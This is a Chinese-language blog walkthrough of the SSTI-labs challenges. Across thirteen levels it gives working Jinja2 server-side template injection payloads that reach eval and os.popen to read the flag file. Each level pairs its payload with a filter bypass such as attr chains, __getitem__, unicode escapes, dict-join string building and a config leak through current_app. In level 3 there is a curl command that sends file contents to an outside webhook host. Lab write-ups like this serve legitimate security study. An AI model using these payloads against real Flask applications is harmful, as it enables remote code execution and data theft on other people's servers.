651 字
3 分钟
SSTI-labs
2025-12-30

第一关#

由于no waf 基础payload

{{().__class__.__base__.__subclasses__()[].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

使用bp添加载荷爆破:84,100,101,102,104,105,106,108,109,110等等 然后ls /app,发现flag——cat /app/flag——>Hello SSTILAB{enjoy_flask_ssti}

也可以不爆破索引值,直接

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

第二关#

这一关就只是禁用了{{ }},所以用{%代替,不过flask模板中{%的作用是执行,需要加一个print

{%print().__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")%}

然后就跟前一关没什么区别,拿到flag:SSTILAB{enjoy_flask_ssti}

{%print url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")%}

第三关#

最开始尝试使用webhook:{{ url_for.__globals__['__builtins__']['__import__']('os').popen('curl https://webhook.site/d9d9e344-71ae-43bd-9ce7-464f39111da3?data=cat /app/flag').read() }}发现不出网,写入静态文件

{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('cat /app/flag > app/static/1.txt').read()")}}
# 然后访问靶场/static/1.txt

第四关#

过滤了[],所以使用.__getitem__来代替,不想爆破索引值,直接url_for.__globals__

{{url_for.__globals__.__getitem__('__builtins__').__getitem__('eval')("__import__('os').popen('ls').read()")}}

成功执行,然后步骤就和前几关一样了,拿到flagSSTILAB{enjoy_flask_ssti}

第五关#

过滤了单双引号` ” "" 可以看2.代码执行函数python,我之后也会将单双引号绕过放到8中 可以采用的方法有chr()拼接和HTTP传参的组合拳 这里我采用HTTP的方法

GET: url?a=popen&b=ls
POST:code={{[].__class__.__base__.__subclasses__()[].__init__.__globals__[request.args.a](request.args.b).read()}}

bp抓包,爆索引值133,然后cat%20/app/flag,拿到flagSSTILAB{enjoy_flask_ssti}

第六关#

禁用了下划线利用request.args传参,.用| attr代替 或者是下划线进行unicode编码

{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat /app/flag")|attr("read")()}}
原样:{{ lipsum.__globals__['os'].popen('cat /app/flag').read() }}

拿到flagSSTILAB{enjoy_flask_ssti}

第七关#

禁用了.,直接| attr和__getitm__拿下

{{ lipsum| attr('__globals__')| attr('__getitem__')('os')| attr('popen')('cat /app/flag')| attr('read')() }}

这个使用了| attr和__getitem__所以没什么大问题

第八关#

这关开始禁用的多起来了class/arg/form/value/date/request/init/global/open/mro/base/attr 这么多关键的都禁了,那很明显,得拼接

{{lipsum['__glo'+'bals__']['__builtins__'].eval("__import__('os').po"+"pen('cat /app/flag').read()")}}

最开始按照之前的payload直接进行了拼接{{lipsum['__glob'+'als']['o'+'s']('po'+'pen')('ls')['re'+'ad']()}}不对,试图用‘字典/列表’的方式去调用‘模块/对象的方法’,所以利用eval函数执行字符串,就拿到flag了

第九关#

禁了数字0-9,那不用索引值不就是了

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /app/flag').read()")}}

拿下

第十关#

这关最开始没看到目标,以为也是找flag,甩了简单的paylaod就过了,回过去一看发现是get config 虽然是令config=None,但使用current_app或者get_flashed_messages就能得到config

# 1
{{url_for.__globals__['current_app'].config}}
# 2
{{get_flashed_messages.__globals__['current_app'].config}}

current_app——绕过被污染的「局部变量 config」,直接找到持有「真实 app.config」的 Flask 应用实例

第十一关#

禁了单引号’,双引号”,+,request, . ,[]

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{url_for|attr(dict(__globals__=1)|join)|attr(dict(__getitem__=1)|join)(dict(__builtins__=1)|join)|attr(dict(__getitem__=1)|join)(dict(__import__=1)|join)(dict(os=1)|join)|attr(dict(popen=1)|join)(dict(ls=1)|join)|attr(dict(read=1)|join)()}}

ls

{{url_for|attr(dict(__globals__=1)|join)|attr(dict(__getitem__=1)|join)(dict(__builtins__=1)|join)|attr(dict(__getitem__=1)|join)(dict(__import__=1)|join)(dict(os=1)|join)|attr(dict(popen=1)|join)(url_for|attr(dict(__globals__=1)|join)|attr(dict(__getitem__=1)|join)(dict(__builtins__=1)|join)|attr(dict(__getitem__=1)|join)(dict(bytes=1)|join)((99,97,116,32,97,112,112,47,102,108,97,103))|attr(dict(decode=1)|join)())|attr(dict(read=1)|join)()}}

先拿到os.popen,然后构造构造 cat app/flag 字符串,通过通过 __builtins__['bytes'] 将数字转为字符串

第十二关#

禁用了_/./0-9/\\/\/"/[] 这个题借鉴了以下的payload

{%set p=dict(pop=a)|join%}
{%set na=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set x=()|select|string|list|attr(p)(na)%}
{%set a=(x,x,dict(globals=a)|join,x,x)|join%}
{%set b=dict(os=a)|join%}
{%set c=dict(popen=a)|join%} {%set d=dict(read=a)|join%}
{%set e=(x,x,dict(getitem=a)|join,x,x)|join%}
{%set f=(x,x,dict(builtins=a)|join,x,x)|join%}
{%set g=dict(chr=a)|join%}
{%set aa=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set aaa=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} {%set ch=lipsum|attr(a)|attr(e)(f)|attr(e)(g)%}
{%set cmd=(dict(cat=a)|join,ch(aa),ch(aaa),dict(app=a)|join,ch(aaa),dict(flag=a)|join)|join%} {{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

第十三关#

禁了['_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']'] 跟上一关没什么区别找flag

SSTI-labs
https://fuwari.vercel.app/posts/ssti-labs/
作者
BIG熙
发布于
2025-12-30
许可协议
CC BY-NC-SA 4.0